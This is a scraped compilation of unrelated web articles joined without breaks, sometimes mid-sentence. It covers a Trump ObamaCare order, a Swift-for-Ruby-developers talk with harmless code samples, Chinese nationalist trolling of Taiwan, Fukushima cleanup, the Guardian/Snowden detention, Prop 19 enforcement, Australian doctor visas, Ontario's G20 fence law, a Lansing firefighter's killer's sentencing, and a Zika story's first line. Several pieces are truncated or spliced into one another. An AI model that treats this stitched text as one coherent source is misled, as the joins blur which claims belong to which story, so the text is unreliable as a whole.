Trump issued an executive order on Thursday directing agencies to open up ObamaCare insurance markets to allow for cheaper, competitive plans that can be purchased by groups of people.
Some health experts and Democrats have said this will destabilize the markets and leave America's sick with expensive plans in the ObamaCare market.
"I have said it before and I will say it again: President Trump does not care about protecting the health of Americans," Johnson continued in the statement. "To end the Affordable Care Act in this way is a desperate maneuver to engineer a political win for his right-wing base, after nearly a year of covert, detrimental action.”
The executive order comes on the back of a final failed attempt in September to repeal the entirety of ObamaCare in the Republican-majority Congress. Repealing ObamaCare has been a major GOP campaign promise to voters since the law passed Congress under former President Obama.
Johnson went on to slam Trump for trying to sidestep congressional repeal with an executive order, and urged supporters to enroll in ObamaCare plans.We welcomed back JP Simard to speak at one of our recent SLUG meetups, graciously hosted by Iron.io and Heavybit! This meetup was a free Swift class with tips tailored for developers coming from Ruby. JP’s talk aimed at helping Rubyists understand Swift’s philosophy and practical implications.
As usual, video & slides are synchronized. The video is also subtitled. You can find a blog version of the talk (with code samples) below.
Some Swift Context (0:00)
A lot of Ruby developers ended up learning Objective-C because there’s a lot in common between the two languages. Even today, you can’t really effectively run Objective-C in AWS, and so many Objective-C developers learned Ruby. Ruby has been kind of like the de facto language to build scripting tools or back end tools. There’s currently a rich history of interoperability between the two, for example with tools like Ruby Motion and Cocoa Pods entirely written in Ruby to help with iOS and Mac development.
In order to talk about Swift, we should first talk about where it came from - Objective-C. Ruby and Objective-C have lots in common, though it might not look like it from the syntax. They share the same common ancestor of smalltalk, and they are very strongly based in the concepts of dynamic message dispatching and dynamic typing. These are things that made it easier for Objective-C developers to go over to Ruby and vice versa. They both have reflection methods - kind_of? or the isKindOfClass for Objective-C, respond_to? for Ruby.
How does Ruby relate to Swift? There are actually very few similarities between the two languages. The syntax might look more palatable to Rubyists, and a few other things like REPL are closer in philosophy to Swift. There’s almost a scripting feel to Swift, so you can use #! user/bin/xcrun Swift to run any arbitrary Swift code from the command line as a script. There are finally functional programming concepts in the Swift standard library, something that Ruby has had for a long time. And on one minor point, Swift now has string interpolation, which is something that Rubyists do all the time.
All in all, moving from Objective-C to Swift, we’re seeing more and more differences between Ruby and Swift. Swift is still a compiled language like Objective-C, but it moves a lot more to the compiler. Objective-C had a very rich dynamic runtime where you could do a lot of metaprogramming, introspection, reflection, and all sorts of runtime hackery, but with Swift, there’s more emphasis on doing things at compile time. One of the biggest stumbling blocks are differences in APIs, libraries, and frameworks, since those are tailored to specific platforms and applications. Another major difference is that Swift is extremely type safe, and so we also have type safety generics. There are also some pretty major challenges in getting Swift to work outside of iOS and OSX.
Obstacles to running Swift outside iOS/OSX (10:00)
Three main steps would need to happen to be able to use Swift outside of iOS/OSX. The Swift compiler, runtime, and standard library would all need to be open sourced. The Swift compiler lives on top of Clang, but you can’t compile Swift without Clang or just with Clang. To use Swift across platforms, Apple would have to open source the Swift runtime. It shares a lot in common with Objective-C, probably to keep backwards compatibility. The first two have happened for Objective-C, but the fact is that the Objective-C standard library is thirty years old and still not open source. Developers may have to wait a long time if the Swift standard library becomes open source at all, in order to use Swift across multiple platforms.
Swift was probably very heavily inspired by Ruby to have a REPL. The equivalent to the Ruby REPL isn’t strictly just the Swift REPL, but also the real-time programming feedback from using Playgrounds. These are part of the XCode IDE that allow you to see the results of whatever operations you’re running in real-time.
There are three ways to run Swift. You can do it in XCode, in a Playground with XCode, or just straight from the command line through the REPL. This demo was done in an XCode 6 Playground and gave a brief view of Swift syntax. The goal was not to go into detail, but instead just to give a sense of what the language looks and feels like. Create a class with the “class” keyword and add properties. You can also make use of functions, initializers, and enums. Swift is not so verbose - type inference helps with this!
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class Vehicle {} enum CarModel : String { case Honda = "Honda", Toyota = "Toyota", Batmobile = "Batmobile" } class Car : Vehicle { var model : CarModel init ( model : CarModel ) { self. model = model } func drive () { println ( "driving my " + model. toRaw ()) } } let car = Car ( model :. Batmobile ) car. drive }
Seven Concepts in Swift and Ruby (20:42)
Classes are defined in very similar ways in Ruby and Swift. In Ruby, we define a parent class Vehicle that doesn’t inherit from any other base class. You can inherit from this class and define methods.
class Vehicle end class Car < Vehicle def initialize ( model ) @model = model end def drive "driving my " + @model end end car = Car. new ( 'Batmobile' ) car. drive # => Driving my Batmobile
In Swift, you can do the same thing, but there are a few differences. You can initialize model to an empty string instead of model. In addition, the drive function is returning a string, which is due to the type safety of Swift. In Ruby, we wouldn’t have to explicitly say what type it was returning.
class Car { var model = "" func drive () -> String { return "Driving my " + model } } let car = Car () car. model = "Batmobile" car. drive ()
Closures are a pretty fundamental building block of these two languages, so it’s definitely used a lot in Ruby. If we wanted to pass a block to a method, we would do it like this:
def say_hello ( & block ) block. call end say_hello { puts "Hello there" } # => "Hello there"
Swift uses the same amount of lines, but with a few other differences. Swift’s strict type safety comes back into play, where we have to specify what input arguments the block should take, as well as what output the block should return. This can reduce a lot of programming bugs by requiring explicit definitions.
func sayHello ( block : () -> ()) { block () } sayHello { println ( "Hello there" ) } // => "Hello there"
3. Type Safety & Inference (25:03)
Type inference is something that Ruby and Objective-C have. When you couple it with type safety, you get some pretty powerful stuff. Ruby has a dynamic type system, where you can set all sorts of different types to the same variable. This is very powerful but could also lead to bugs, like when you put the wrong kind of value into a variable.
name = "John" name = Time. now () name = 123. 45
In Swift, it’s a lot harder to pass in the wrong thing. This is basically what is meant by type safety, where we encourage both the user and users of the code to know what the intention is. In the following example, if you don’t explicitly state the types, the Swift compiler will infer anInt to be an Int, and aDouble to be a Double. When you run the code, the compiler will throw a warning and it won’t even compile.
let anInt = 3 let aDouble = 0.1416 var pi = anInt + aDouble // Compile warning pi = 3 + 0.1416 // Compiles: number literals are untyped
Mutability is not exactly common in Ruby, but it is supported. The freeze method allows you to make a mutable object into an immutable object. However, Ruby doesn’t do a deep freeze - you can still modify things later on.
str = "abc". freeze # => "abc" hash = { str => { str => "value" } }. freeze # => {"abc"=>{"abc"=>"value"}} hash [ str ] = "foo" # => RuntimeError: can't modify frozen Hash hash [ str ][ str ] = "bar" # => "bar" hash # => {"abc"=>{"abc"=>"bar"}} let str = "abc" // => "abc" let hash = [ str: [ str: "value" ]] // => [ "abc" : [ "abc" : "value" ]] hash [ str ] = [ str: "foo" ] // => compile error hash [ str ]! [ str ] = "bar" // => compile error
In Objective-C, we had entirely new classes to define mutable and immutable types. Instead of having different classes, Swift deals with mutability by changing how you first declare your variable. The keyword var is mutable, while let is immutable. If you tried to reassign a value to a let variable, that would produce a compile-time error. It’s also a mutating function - |
ational and humorous” way.
Meanwhile in Taiwan, pro-unification groups have gathered outside Taipei 101 (after police finally forced them out they relocated to the Ximending shopping district) to fly the People’s Republic of China flag and sing slogans. Comprising mostly elderly, socially out-of-step and politically marginalized and sometimes violent “activists,” those groups have also resorted to physical assault against passers-by as well as Falun Gong practitioners. A number of them are in contact with triad organizations with suspected ties to the CCP, such as Chang An-le’s China Unification Promotion Party, which in recent years organized protests in which participants dressed up as Japanese Imperial Army soldiers, attracting much ridicule. For all the noise (and occasional bruises) they have caused, those groups are regarded by Taiwanese society with a mixture of derision and tolerance, part of the scenery in a very vibrant democracy.
In all, these three types of activism — pressure groups in China, Internet trolls and Taiwan-based activists — have succeeded in bullying people, and in some cases may have compelled firms and state authorities to block targeted Taiwanese from entering China (or Hong Kong). Overall, however, and from the perspective of promoting “peaceful unification” and the idea of a shared future with China, their activities have played a counterproductive role in that they may very well have undermined the hard power elements of China’s strategy that could have had a greater impact on Taiwanese perceptions.
Rather than force Taiwanese into submission, the threats and trolling have contributed to a reaffirmation of Taiwanese identity and turned the Taiwanese public against China, whose antics are treated as juvenile annoyance or, in some instances, an insult. Worse, the nastiness has not turned the Taiwanese population against the person who is conceivably the principal target of this type of behavior, President Tsai herself, whose cross-strait policy has so far weathered Beijing’s assault over her refusal to acknowledge the “1992 consensus” and abide by the “one China” framework. Whatever has caused her drop in the polls, Tsai isn’t being punished for her handling of the China portfolio.
It is very difficult to imagine how the increasingly belligerent online assaults could possibly be reconciled with the CCP’s message of unity and brotherliness; in reality it only underscores the opposite. Ironically, despite its presumably more strategic and calculated approach to Taiwan, the CCP has only itself to blame for this out-of-control “soft power,” as the bitterness that fuels such activities is itself the result of a conscious decision by party leaders to cultivate and reinforce nationalism in schools, the media, and the workplace, in the past two decades.
Although nationalistic fervor serves both to buttress the CCP and to redirect discontent whenever it occurs, it has reached such a pitch as to be difficult to control, as we saw in 2012 when ordinary Chinese went on a rampage against Japanese firms and nationals across China. Notwithstanding China’s position on the Senkaku/Diaoyu islets in the East China Sea at the heart of the conflict, it is hard to imagine that Beijing saw any interest in Japanese coming under attack in China, let alone in those companies subsequently deciding to pull out of China due to safety concerns.
At some point Beijing authorities will have to realize that the behavior of Chinese citizens online — and that of its citizens abroad, who often have no compunction in bullying Taiwanese and other minorities on university campuses — goes against its interests and severely undermines both its “soft” and state power. By fostering sentiments of nationalism and Han exceptionalism, the CCP has created a Frankenstein monster that now threatens to tear apart the entire laboratory.
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Editor PicksThere have been two breakthroughs in the cleanup process of the Fukushima Daiichi Nuclear Power Plant in the past week. The prefectural government in Fukushima has reached an agreement with the local population for the storage of radioactive waste, which will facilitate the cleanup process at the facility. Meanwhile, the national government is looking to increase funds for the dismantling of the affected reactors. These two policies in tandem are likely to be much more effective in managing the nuclear crisis than the government’s most recent attempts to build an “ice wall” to prevent groundwater from entering the facility and becoming contaminated, as the cleanup process seeks to reach and then effectively contain the damaged fuel rods.
The national government’s attempts to reach an agreement with the local governments of Okuma and Futaba in Fukushima on an interim storage facility were stalled indefinitely after Environment Minister Nobuteru Ishihara offended the local population in June, saying that “In the end, it will come down to money.” To resolve the situation, the prefectural government stepped in to fill the gap in the value of the land to be used as the storage site. It will pay the difference between the current value of the land in Futaba and Okuma and the price it was worth before the nuclear accident in 2011. Interestingly, the prefecture expects the local communities to accept their offer, but will wait to formally sign the agreement on September 2, as it wants to announce the deal the day before Prime Minister Shinzo Abe’s new Cabinet is announced. Ishihara is expected to be replaced in the upcoming Cabinet.
With an interim storage facility secured for radioactive soil and other waste, the cleanup process at Fukushima Daiichi is expected to advance more smoothly. The Ministry of Education, Culture, Sports, Science and Technology is developing concurrent plans to research how to dismantle the reactors and dispose of highly radioactive waste, such as the melted nuclear fuel rods. It has submitted a 8.1 billion yen ($77.9 million) budget, 2 billion yen of which would be used for a reactor dismantlement research center, while the remainder would be spent to research how to dispose of the melted fuel rods. The Abe government has already given approval for a facility to dismantle the reactors, which ministry officials say will apply the latest research in robotics.
The Japanese government has looked into many different approaches to dealing with the long-term storage of radioactive waste, with these two items representing a potentially positive step in speeding up those efforts. Storing irradiated water, the accident prone technology used to treat it before releasing it into the ocean, and preventing groundwater from entering the damaged reactors still appear to be substantial problems, although Tokyo Electric Power Co. (TEPCO) believes it is making good progress on the “ice wall” and will meet its 2015 deadline to install it. Effective water contamination prevention, waste storage, and the final ability to adequately dispose of damaged fuel rods appear to be the three major components of a long-term solution to the Fukushima Daiichi disaster cleanup.DW: The partner of Glen Greenwald, the Guardian journalist who has written stories based on data leaked from the US National Security Agency, was detained for nine hours at London's Heathrow Airport this week, and the Guardian's editor claimed British authorities also forced the destruction of its hard drives containing the leaked information. The Guardian is the only paper in the mainstream British media to have published the leaked information, and it appears it doesn't have much support from other UK papers. What has the reaction been from Fleet Street, the traditional home of the British national press?
Richard Keeble: It's not as if Fleet Street as a collective is screaming in outrage at what's going on. Equally, I think the support of British papers for Bradley Manning, the Wikileaks leaker, was also very muted. What I can say, however, is that I've seen the BBC's coverage, and to their credit, they have given the affair due prominence. Though due to obvious legal reasons they can't speak out.
It is very much a legal issue. If the Guardian hadn't complied with Downing Street's requests, they would have been prosecuted. What kind of power does the government have - could they shut the paper down?
Richard Keeble is the acting head of the Lincoln School of Journalism
I would put my mortgage on the government not closing down the Guardian. British political media life doesn't operate like that at all. But there are clear pressures on the media to conform. I think they will continue because if this gets out of hand, then the government and authorities will be concerned. And what they're saying in all this is that there are consequences - particularly for those who are doing the leaking: Snowden is somewhere holed up in Russia. We know how Bradley Manning was tortured as he was being held before his secret trial. They're not going to close the Guardian down, for sure, but they will be telling mainstream journalists, "Be careful: If you're doing things we're not happy with, then beware of the consequences."
How powerful is the intelligence apparatus in Britain?
The secret state is incomprehensibly vast. It's not just intelligence - it's secret armies, it's police forces. And it is penetrating - obviously through the internet - into the very most intimate parts of our everyday lives. The expenditure on it globally is likewise vast. And what that means is that whilst it has vast powers, it is getting out of control. And so whistleblowers like Wikileaks and Snowden are actually exposing the contradiction that as it grows, there will be increasing critique from within because actually what these people are doing is showing that the rulers of our societies are committing offences, including international war crimes. That's the essential point. And they don't like that. So I think there's going to be a danger of more and more Snowdens and Bradley Mannings; the system is unraveling.
Do you think mainstream media outlets like the Guardian, for example, can keep the government in check?
No. Not at all. The intelligence apparatus is vast, and the mainstream media in general are far too closely integrated with the secret state. I don't think they even want to pose a threat to it. I don't think the Guardian is out there to actually challenge the secret state. They want to use Snowden as a terrific news source. But I don't think they want to smash the secret state. That's not the role of the mainstream press. It's too closely integrated with dominant powers and institutions to ever do that.
What I found interesting was the way in which - even the Guardian - covered the recent "confession" by Bradley Manning at his trial. Because it seemed to me that when Manning said things like "I'm terribly sorry to have hurt the United States." Or: "How dare I, as a very small, insignificant man, expect to be able to change the world for the better?" I didn't believe that that came from Bradley Manning. My sense was that he was pressurized to say that. At least you would have thought journalists would have raised these questions. But the Guardian and the Independent, which in theory could have been the most critical of that whole secret trial, just reported it straight. And I was very surprised at that.
EU Justice Commissioner Viviane Redding has said that she "shares concerns" over press freedom in the UK. Professor Keeble, as an instructor of journalism in Britain, how concerned are you at the moment?
Well I'm very concerned because I see this as being an actual significant trend in both America and Britain. In America, there are - I think - seven cases of whistleblowers who have been actually charged under the Felony Act, and people have been threatened with jail. We know that the government now wants people to as it were snitch on colleagues if they think that they are potential leakers. There's all manner of threats now and pressures on potential whistleblowers. And, after all, until the late 1980s in Britain, there was the defense of the public interest.
Now, you would have thought that when people reveal illegal activity by the state, there should be a public interest defense. This is clearly what the Guardian is claiming. And that, in any civilized society, is what there should be: the protection of whistleblowers. Because how are we going to get to know about the reality of the secret state? Through whistleblowers.
And there are two kinds of whistleblowers: There are those who appear everyday in our newspapers, who are, if you like, acceptable whistleblowers. So the kind of information they're giving us is, in some way, in the interest of the secret state. But there are the other whistleblowers who reveal things that the state doesn't want us to know about. And they are being really harassed now. And I am, as a professor and as a citizen, extremely concerned.News » Attorney General Says Controlled Substances Act Will Be “Vigorously Enforced”
Even if Proposition 19 passes in California making marijuana legal for recreation use on a state level, Eric Holder, President Obama’s Attorney General told a group of 9 former Drug Enforcement Agency heads that the federal government will ensure that the Controlled Substances Act is “vigorously enforced”. While no exact definition of what this enforcement would entail was given, Director of National Drug Control Policy Gil Kerlikowske told the Associated Press that they are “looking at all their options” alongside the Department of Justice.
The former DEA heads had petitioned the Obama administration to sue to overturn Prop 19 on the grounds that it violates federal law. They feel that “pre-emption was certainly applicable in this case”, perhaps paving the grounds for a legal battle on how marijuana is to be regulated and policed. The position is not surprising – how many former CEOs have jointly come out against the service their company performs?
Kerlikowske, who is the former chief of police of Seattle counters supporters of Prop 19 who feel that the law will free up law enforcement resources by saying that “law enforcement agencies are not spending an inordinate amount of time chasing adults around for small amounts of marijuana.” he said while on a recent trip to California. “The jail resources, law enforcement resources, court resources are not being overburdened with adults going through the system” for personal pot possession. The numbers however, disagree somewhat with that statement – in 2009 marijuana arrests in the state were the highest since marijuana was decriminalized in 1976 with 78,514 in total. Of those 17,126 were felonies and 61,388 were misdemeanors.
In 2005, NORML released a very comprehensive analysis of arrest data. It found that the national cost to the taxpayer per arrest was $10,400. Assuming that this figure has not increased (unlikely) and matches California (also unlikely considering cost of living and other factors), this means that the cost of enforcing marijuana laws in California was $816,545,600 in California alone – and this doesn’t include the additional cost of incarceration, lost tax revenues, and other factors.
[source NPR]
Tags: arrests, Attorney General, DEA, Eric Holder, Gil Kerlikowske, marijuana, Obama, Prop 19, Proposition 19Calls for Government to stop giving visas to overseas-trained doctors to address rural shortage
Updated
Senior members of Australia's medical community have urged the Federal Government to stop giving visas to overseas-trained doctors.
Key points: Migration program to fix regional, remote skills shortage has failed, GP says
Health Department made formal submission for changes to nation's immigration rules, The Australian report says
International medical graduates "may not be culturally prepared to work" in rural areas, GP says
They believe that while the skills shortage in regional and remote Australia continues, the migration program intended to address it has failed.
Ewen McPhee is a GP in the central Queensland town of Emerald and president of the Rural Doctors Association of Australia.
"Is there a skills shortage and have we fixed it? Well, the answer is yes, there is a shortage, but no, we haven't fixed it," he said.
"The problem is that the workforce solutions we have in place now simply aren't working."
According to a report in The Australian, the Department of Health shares these concerns and has made a formal submission for changes to the nation's immigration rules.
The newspaper said documents released under Freedom of Information showed the department agreed that drastic changes were needed to stop overseas-trained doctors getting visas.
In a formal submission, it asked for all medical occupations to be removed from what is known as the Skilled Occupation List.
The list identifies occupations the Government thinks would benefit from overseas workers.
Dr McPhee argued the health system was not one of them.
"You need to be really training doctors explicitly to give them the skills to live and work in the bush and we're simply not doing that for international medical graduates," he said.
"The issue is that often international medical graduates are, I could probably almost use the word forced to go out into rural and remote areas where they may not be culturally prepared to work, they certainly are not supported to work.
"They're not given the mentorship and often the skills, training that they need to survive and thrive in those country areas and often they're given the task of having to pass a very expensive exam, and as soon as they pass that exam they leave and move to areas where they feel much more secure and supported."
A Department of Health spokeswoman told the ABC: "As the number of Australian-trained doctors has increased substantially over the past decade, it's timely to consider whether existing immigration markers are still appropriate for our health workforce needs.
"The Department's submission on the skills list reflects that position."
Bringing doctors from overseas an 'ethical dilemma'
Dr McPhee also blamed medical centres that were bringing international doctors into the country simply to boost their profit margins, not to address the skills shortage.
"It's not fair to rural communities which see a constant revolving door of doctors moving in and out," he said.
President of the Australian Medical Association Dr Michael Gannon agreed the system was broken.
"Often what we're doing is filling up corporate clinics in the middle of our cities, now that's not the intention of these regulations," he said.
Dr Gannon said bringing in doctors from developing nations in particular raised an ethical question.
"If an Australian town of people takes a doctor from South Africa, they were looking after 14,000 people, who then take a doctor from Uganda who might look after 24,000 people," he said.
Universities 'need to target rural students'
Dr McPhee said making sure rural and remote Australia had the doctors it needed required a dedicated rethink from governments, who continue to favour capital cities for major training hospitals.
"While we have our major training tertiary hospitals as the only centres of excellence in major city centres, we can hardly expect the confidence of clinicians to train in rural and regional provincial centres to exist," he said.
He said universities could do a better job of accepting students more inclined to live in the regions.
"It's a real challenge, the whole issue of selection is a vexed one," Dr McPhee said.
"Certainly where universities do interviews, they very much weight them towards rural intent and rural background and that certainly has demonstrated that if you do that you can improve the retention and resilience of people shifting back into rural communities."
Topics: health, government-and-politics, australia
First postedPremier Dalton McGuinty says his government will not accelerate an overhaul of controversial legislation used by police during the G20 summit despite a scathing official probe that found it “likely unconstitutional.” In his first comments since Ombudsman André Marin tabled a 125-page report denouncing “the most massive compromise of civil liberties in Canadian history,” McGuinty insisted looming changes should suffice.
Ontario Ombudsman Andre Marin released a special G20 report on the province's so-called "fence law" Dec. 7. Premier Dalton McGuinty acknowledged Wednesday his government failed to properly communicate the secret regulatory change, but denied Marin's charge the move was "illegal." ( TARA WALTON / TORONTO STAR )
Speaking to reporters Wednesday at a Front Street office overlooking the Metro Toronto Convention Centre where the June 26-27 meeting of world leaders was held, the premier admitted his administration “failed to take the appropriate steps” to inform people that police had been granted new authority. At issue is regulation 233/10 requested by Toronto Police Chief Bill Blair under the 1939 Public Works Protection Act and secretly enacted by McGuinty’s cabinet on June 2. “The police came to us and said: ‘We need your help, we’re going to be hosting the G20, there are possibly the top 20 terrorist targets on the face of this planet, they’re coming together in one particular city... we need you to make a change so that we have additional authority,’” the premier said.
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“In hindsight there are a couple of things we could have and should have done better. It’s been said that too much haste makes waste. We moved pretty quickly on this in order to help our police at the earliest possible opportunity,” he said. “And we did not take the appropriate steps to properly communicate this to the public. Then... there was the mix-up in terms of what it actually stood for, what it represented and we communicated directly with the police.” Blair initially interpreted the law as giving police the power to arrest anyone refusing to provide identification or submit to a search within five metres of the outer perimeter of the G20 site. The unusual regulation only applied to within the secure area around the convention centre, but provincial politicians and police did not immediately convey that to Torontonians. “We’re going to make some changes, we accept all the findings,” said McGuinty of Marin’s report, which urged the Act be scrapped or amended and new protocols developed to ensure the public is told when police powers are increased.
But the premier emphasized the timetable for dealing with the controversial legislation remains unchanged. That means the law will stay on the books until former Ontario chief justice Roy McMurtry completes his review of it next spring. The House is slated to rise June 2 and not return until after the Oct. 6 provincial election, so it’s unclear if any changes could be passed in time.
Article Continued Below
McGuinty also rejected Marin’s charge that the government’s actions were “illegal” and “likely unconstitutional.” “Technically... we were in compliance... with the rules and procedures but this was an extraordinary regulation and it deserved more transparency and more debate,” the premier allowed. “The very premise of our regulation, the law itself, is likely not in keeping with the balance that we would want to strike... when it comes to public safety and... freedom of expression.” Community Safety Minister Jim Bradley, who took over the file in August to deal with the G20 aftermath, said “following Justice McMurtry’s advice, we’ll make any needed amendments to the Public Works Protection Act.” Attorney General Chris Bentley sidestepped questions when asked if he, as the province’s chief legal officer, should be taking action because Marin said the government’s actions were against the law. Progressive Conservative Leader Tim Hudak said Municipal Affairs and Housing Minister Rick Bartolucci, who ran community safety at the time of the summit, should be dumped from cabinet for being complicit in a “cover-up” of the questionable regulation. “If I were premier I would fire that minister,” Hudak said. Outside the House, Bartolucci admitted he had briefly considered quitting. “Yes, and I’m not going to tender my resignation,” said the veteran minister. “I’ve decided I’ve acted in the best interest of public safety.” NDP Leader Andrea Horwath, who again called for a full public inquiry, said “heads need to roll over this.” “What happened during the G20 showed a chilling disregard for people’s civil liberties and for democracy itself. The premier passed an illegal and unconstitutional wartime law and, not only didn’t debate it, he bent over backwards to hide it from the public,” said Horwath. In Ottawa, Federal Public Safety Minister Vic Toews is pleading ignorance over Ontario’s decision to enact the controversial law, claiming he didn’t find out about the regulation until after the summit, and distanced himself from the controversy. “We certainly have had no involvement in the enacting of that regulation nor had we requested it,” Toews told reporters Wednesday. He turned aside questions about how the minister in charge of public safety could be in the dark around a key security measure for the meeting of world leaders. That didn’t sit well with New Democrat MP Don Davies (Vancouver Kingsway), who noted that the Integrated Security Unit coordinated the efforts by local and provincial police as well as the RCMP for months leading up to the June event. “I think it’s inconceivable that the minister didn’t know what was going on. If he didn’t know what was going on, then I think it was irresponsible,” said Davies. With files from Bruce Campion-Smith
Read more about:CLOSE Firefighter Justin Conklin reads a statement from Dennis Rodeman's wife, Kate, during the sentencing for Grant Taylor on Sept. 7. Christopher Haxel/Lansing State Journal
Buy Photo Grant Taylor enters the courtroom of Circuit Court Judge Clinton Canady III Thursday, Sept. 7, 2017, for his sentencing in the 2015 murder of Lansing Fireman Dennis Rodeman. (Photo: MATTHEW DAE SMITH/Lansing State Journal)Buy Photo
LANSING - Kate Rodeman sat among friends and family as the letter she wrote to the man who killed her husband was read to a courtroom full of people.
"When you killed my husband, you turned my life into pure chaos," said Justin Conklin, the Lansing firefighter who read the letter on her behalf. "His death did not only break my heart, it broke all of me and more. You stole our future, the life we could have had."
Grant Taylor, 24, sat about 20 feet from Conklin and looked down at the table in front of him as Conklin continued to read.
Minutes later, Taylor simply said "no, sir" when Circuit Court Judge Clinton Canady III asked him if he wanted to say anything. And moments after that, Canady sentenced Taylor to 30 to 40 years in prison for killing Lansing firefighter Dennis Rodeman in September 2015, when Rodeman was among a handful of firefighters who were collecting donations for charity.
It's a sentence Rodeman's father, Max, thought was too lenient, according a letter Kelly Flory, Dennis Rodeman's sister, read on his behalf.
(Story continues below video)
CLOSE Kelly Flory, sister of firefighter Dennis Rodeman, speaks during the sentencing for Grant Taylor. Christopher Haxel/Lansing State Journal
"In my opinion you should have to sit in a cell the size of a coffin and think about your life, where my son is for eternity, never to play with his son," Flory read. "I will never think 30 years is enough for what you have done to my grandson’s family and mom."
Then, Flory addressed Taylor herself, often looking at him.
"Coward," she said. "That is how I refer to you. I can’t bring myself to call you by your name.... So as you sit in your cell every day for at least the next 30 years, which I don't feel is long enough, and you see your family on regular visits, just remember, we can't see my brother.
"I feel like you got to choose your punishment and my brother never got to choose how long he'd be alive."
Buy Photo Dennis Rodeman's sister, Kelly Flory of Vermontville, middle, hugs Karen Taylor, right, mother of Grant Taylor, who was sentenced Sept. 7, 2017 to 30 to 40 years in prison for Rodeman's murder. Also pictured is Taylor's aunt Deb Cook of Lansing, who sat with her sister throughout the hearings for the past two years. "We needed that hug," Cook said. (Photo: Matthew Dae Smith/Lansing State Journal)
Taylor, a graduate of Holt High School and a former Michigan State University student, pleaded guilty but mentally ill last month to second-degree murder and other charges as part of a plea deal with prosecutors. He had faced a mandatory sentence of life in prison without the possibility of parole if convicted of first-degree murder at trial.
The deal set his minimum sentence at 30 years in prison, but didn't set a maximum. Prosecutors asked for maximum sentence of 50 years, but Canady went along with the probation department's guidelines.
Prosecutors said last month after a hearing on the the plea that they met with Rodeman's family to discuss the agreement before it was offered.
“This was the kind of case where you have a tragedy, you have an immeasurable loss, and there are really no easy answers that make sense, in how the justice system can respond," Ingham County Prosecutor Carol Siemon said in a statement last month.
"We can never truly find justice or ‘closure’ in a case like this, but I believe we do have an approach that allows for mental health treatment, within the secure walls of the prison system, a lengthy sentence that acknowledges the gravity of this offense, and the impact on the victim and his family.”
Siemon didn't return a message seeking comment after the hearing.
During the hearing, Taylor's attorney, Stacia Buchanan, discussed her client's mental health.
"He did not choose this life for himself," she said. "His mother did not choose this life for him. He was not raised to have this life. Unfortunately, mental illness is a disease like other physical diseases. Up until then Mr. Taylor was a good student, he was going to university, he had a good family. And everything changed for him."
Taylor’s mother, Karen Cook Taylor, declined to comment after the hearing.
"It's a hard day," Buchanan said after the hearing. She declined to comment further.
Taylor will receive credit for two years already served in jail, so he could be eligible for parole in 28 years. He also pleaded guilty to failure to stop at the scene of an accident resulting in death and fleeing from police, and will serve sentences on those charges concurrently.
Related:Full coverage of Grant Taylor case
The crash
In September 2015, Rodeman, 35, was with a handful of other firefighters who were collecting donations for the Muscular Dystrophy Association at the intersection of Cedar Street and Jolly Road. Police have said that Taylor was driving in the area, became angered with the traffic backup from the fundraiser and exchanged words with Rodeman before throwing an apple core at the firefighter and driving away.
Dennis Rodeman (Photo: Lansing Fire Department)
Taylor drove about a mile south, according to court records, before turning around and diving back toward the intersection. Taylor drove at one firefighter, who jumped out of the way, before striking Rodeman, according to testimony. Rodeman later died at a local hospital.
Police have said that Taylor admitted to hitting Rodeman with his truck. He fled the scene and was arrested a short time later near his home, according to court records.
Taylor’s plea came despite ongoing questions about his mental health. His mother twice petitioned to have him involuntarily hospitalized in the years before the crash, saying he had not been taking his medicine and was behaving erratically.
Within two weeks of Rodeman's death, Buchanan asked that Taylor's competency to stand trial be evaluated. While he was initially found competent, Buchanan requested a second evaluation about seven months later, in April, 2016.
Competency means a defendant understands the various roles of the judge, attorneys and jury and is able to help with his or her own defense.
Two months after approving Buchanan's second request, Canady declared Taylor incompetent to stand trial based on the recommendation of the state’s Center for Forensic Psychiatry.
Taylor was returned to competency in June of this year, but remained housed at the forensic center to ensure his competency for trial.
Because he pleaded guilty but mentally ill, Taylor will receive mental health treatment while in prison. He will not return to the forensic center, however, unless the Michigan Department of Corrections requests help housing Taylor. Officials have said that is unlikely.
'Strength and courage'
Rodeman, a Marine Corps veteran who served in Iraq, also worked for the Vermontville Fire Department before joining Lansing's department.
Firefighters from both departments attended many of Taylor's hearings as the case progressed through the court system.
During Thursday's hearing the courtroom was so full that a few people had to sit in the jury box.
Eric Weber, president of the Lansing firefighters union, told Canady that Rodeman's death "has cut us deep and severely."
"Kate was pregnant at the time of his death with their son Blake," Weber said. "Shortly after his murder the motto was, ‘honor Dennis, support Kate and Blake.’ No longer is it a motto, but it’s turned into our mission statement — that we as his brothers and sisters, Kate and Blake’s keepers, will live out until our time is expired.
"The acceptance of a plea agreement before us didn’t come easy. However, with the nod and support of Kate and others, we support it, as today brings some closure to this long process.
"The only positive we can find is that many great people, who were preparing to defend the process, don’t have to relive the tragic consequences of Grant Taylor’s actions — actions he chose to make. As we know, this was no accident, but a choice."
CLOSE Eric Weber, who heads the Lansing firefighters union, spoke during the sentencing for Grant Taylor on Sept. 7. Christopher Haxel/Lansing State Journal
Lansing Fire Chief Randy Talifarro, who spoke during Rodeman's funeral at Michigan State University's Breslin Center, attended Taylor's sentencing but didn't speak.
In a statement released after the hearing, he called Rodeman's killing "a senseless angry act," but that Rodeman's "legacy, service and contribution to our community will live on indefinitely."
"No sentence will ever be fair, or just, or make up for the loss of our co-worker and friend. But, we will take comfort in the fact that this sentence is a necessary and positive step in the healing process."
He also thanked Kate Rodeman for being "the example of strength and courage" for the fire department.
Taylor's sentencing was the first hearing in the case that Kate Rodeman attended. She sat in the second row, directly behind Rodeman's sister and parents, as firefighter Justin Conklin read her letter to Taylor.
"Although I have remained strong all this time, it does not change the fact that this is the kind of truth I wake up to and the reality that I face every day," Conklin read. "It is truly physically and emotionally exhausting.
"And now that we are getting to the end of this nightmare, I just wanted to say that I will not allow you, Mr. Taylor, to stain my soul with any kind of darkness you have caused me and all of us affected in this tragedy.
"You may have taken my husband's life, killed the father of my child and destroyed our future, but I refuse to give you the power to poison my entire being with the anger, pain and bitterness you have planted due to this senseless act."
Related:
Contact Christopher Haxel at 517-377-1261 or chaxel@lsj.com. Follow him on Twitter @ChrisHaxel. Contact Matt Mencarini at (517) 267-1347 or mmencarini@lsj.com. Follow him on Twitter @MattMencarini.
Read or Share this story: http://on.lsj.com/2eNQEsvMaria Gabriela de Oliveira, 25, who is three months pregnant, in front of her home with her three-year-old daughter, Maria Vitoria. on Feb. 19. (Lianne Milton / Panos Pictures for The Washington Post)
RIBEIRAO PRETO, Brazil – Watching kids skate around an ice rink inside the 1-million-square-foot Ribeirao Shopping center, you would hardly guess that this city is one of the hardest hit by the Zika epidemic.
